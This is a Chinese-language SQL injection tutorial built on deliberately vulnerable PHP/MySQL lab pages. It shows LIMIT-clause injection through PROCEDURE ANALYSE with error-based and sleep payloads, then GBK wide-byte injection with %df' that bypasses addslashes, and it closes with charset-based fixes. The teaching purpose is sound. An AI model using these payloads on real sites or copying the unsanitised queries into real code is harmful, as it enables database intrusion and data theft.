order by limit注入方法
- 测试代码如下:
<?php
header("Content-Type: text/plain; charset=utf-8");
mysql_connect("localhost","root","root");
mysql_select_db("test");
$row = mysql_fetch_array(mysql_query("SELECT * FROM users where uid < 100 ORDER BY uid limit {$_GET['p']}, 10"));
if($row){
var_dump($row);
}else{
echo mysql_error();
}
-
在mysql中新建test库,新建users表,并插入数据
-
order by limit注入方法适用于<=MySQL 5.5中,在limit语句后面的注入
SELECT * FROM table WHERE id > 0 ORDER BY id LIMIT injection_point
- 上面的语句包含了ORDER BY,MySQL当中UNION语句不能在ORDER BY的后面,而注入点又在 limit后面,我们先看一下select语法
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
- 可以看到在select语法中,limit后面可以跟两个函数:
procedure
和into
,先了解这两个函数是做什么的
procedure:存储过程;
SELECT....PROCEDURE
指定了一个procedure,用于处理结果集中的数据
存储过程是一组为了完成特定功能的 SQL 语句集合。使用存储过程的目的是将常用或复杂的工作预先用 SQL 语句写好并用一个指定名称存储起来,这个过程经编译和优化后存储在数据库服务器中,因此称为存储过程。
into:SELECT...INTO
用来将查询结果存储在变量或者写入文件中。
SELECT…INTO var_list,将查询结果存储在变量中;
SELECT…INTO OUTFILE 将查询结果写入一个文件,还可以指定列和行终止符以生成特定的输出格式。
SELECT…INTO DUMPFILE 将单行数据写入文件,没有任何格式。
- INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢?先了解下列语句:
SELECT ... FROM ... WHERE ... PROCEDURE ANALYSE([max_elements,[max_memory]])
ANALYSE ()
通过分析select查询结果对现有的表的每一列给出优化的建议,好像和我们注入没什么关系,在本地MySQL下进行尝试
SELECT * FROM users where uid > 0 ORDER BY uid LIMIT 1,1 PROCEDURE ANALYSE(1,1);
- 看起来好像不行,继续尝试
SELECT * FROM users where uid > 0 ORDER BY uid LIMIT 1,1 PROCEDURE ANALYSE((select IF(MID(version(),1,1) LIKE 5, sleep(5),1)),1);
- 最终发现可以通过报错注入获取数据
SELECT * FROM users where uid > 0 ORDER BY uid LIMIT 1,1 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x3e,VERSION())),1);
- 报错注入获得用户:
宽字节注入
- 宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入。如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题,原因是程序员为了防止SQL注入,就会调用函数,将单引号或双引号进行转义操作,转义无非便是在单或双引号前加上斜杠(\)进行转义,但这样并非安全,因为数据库使用的是宽字节编码,两个连在一起的字符会被当做是一个汉字,而在PHP使用的UTF8编码则认为是两个独立的字符,如果我们在单或双引号前添加一个字符,使其和斜杠(\)组合被当作一个汉字,从而保留单或双引号,使其发挥应用的作用。
- 搭建环境测试,注意先关闭自己php环境的magic_quotes_gpc()
magic_quotes_gpc函数在php中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,对POST、GET以及进行数据库操作的sql进行转义处理,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。防止sql注入
当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被转义
注意:这个特性在PHP5.3.0中已经废弃并且在5.4.0中已经移除了,如果使用5.4之前的版本可以修改php.ini配置文件
<?php
//连接数据库部分,注意使用了gbk编码,把数据库信息填写进去
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES 'gbk'");
mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
//执行sql语句
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE id='{$id}'";
$result = mysql_query($sql, $conn) or die(mysql_error()); //sql出错会报错,方便观察
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="gbk" />
<title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>
- 创建数据库和表
- 网页查看,在没有传入值的情况,id默认为1
- SQL语句是
SELECT * FROM news WHERE tid='{$id}'
,就是根据文章的id把文章从news表中取出来。在这个sql语句前面,我们使用了一个addslashes函数,将$id
的值转义。这是通常cms中对sql注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入。由于我设置的id类型为int型,1'
在比较时转为数字变成了1,所以下图中依然查询到了结果
- 那么怎么逃过addslashes的限制?众所周知addslashes函数产生的效果就是,让
'
变成\'
,让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'
前面的\
:
1.想办法给
\
前面再加一个\
(或单数个即可),变成\\'
,这样\
被转义了,'
逃出了限制
2.想办法把\
弄没有。
- 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)。如果我们输入
%df'
看会怎样:
- 可以看到发生了报错,看出错说明可以注入了
- 从报错信息可以看出我们输入的%df和不见了,这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的
\
也就是%5c变成了一个汉字“綅”,而'
逃逸了出来。因为两个字节代表一个汉字,所以我们可以试试添加%df%df
- 不报错了。因为%df%df是一个汉字,%5c%27不是汉字,仍然是`';gbk编码如何判断一个字符是不是汉字,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:
-于是我可以构造一个语句,查询数据库名称和用户
GB2312与GBK的不同
- gb2312和gbk应该都是宽字节家族的一员,通过
set names gb2312
修改测试是否可以进行宽字节注入
- 结果注入失败
- gb2312编码的取值范围。它的高位范围是
0xA1~0xF7
,低位范围是0xA1~0xFE
,而\
是0x5c,是不在低位范围中的。所以,0x5c
根本不是gb2312中的编码,所以自然也是不会被吃掉的。所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c
的编码,就可以进行宽字符注入。
mysql_real_escape_string
- 在php官方文档中,
mysql_real_escape_string
会转义sql语句中特殊字符,并考虑当前字符集
- 所以有的cms把
addslashes
替换成mysql_real_escape_string
来抵御宽字符注入,接下来,将代码中的 addslashes替换,进行测试
- 依然注入成功
- 为什么用了mysql_real_escape_string,但却仍然不能抵御宽字符注入,原因是没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下
mysql_set_charset
函数,设置当前连接的字符集为gbk。
- 更改当前php连接mysql的字符集
- 测试,防御成功
宽字符注入修复
- 上面提到了使用
mysql_set_charset
函数设置连接字符集,在调用mysql_escape_string
过滤用户输入来修复宽字符注入 - 但如果源代码多处使用
addslashes
过滤,我们也不可能一个一个取修改。我们第二个解决方案是:将character_set_client
设置为binary(二进制),只需要在所有sql语句中执行一下语句:
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
- 为什么要这样做呢:当我们的mysql接收到客户端的数据后,会认为他的编码为
charac_set_client
,使用charac_set_client
进行解码,然后通过character_set_connection
编码,然后进入具体表和字段后,在转换为字段对应的编码,当查询结果产生后,会从表和字段的编码,转换成character_set_results编码,返回给客户端。 - 所以,我们将character_set_client设置成binary,就不存在宽字节或多字节的问题了,所有数据以二进制的形式传递,就能有效避免宽字符注入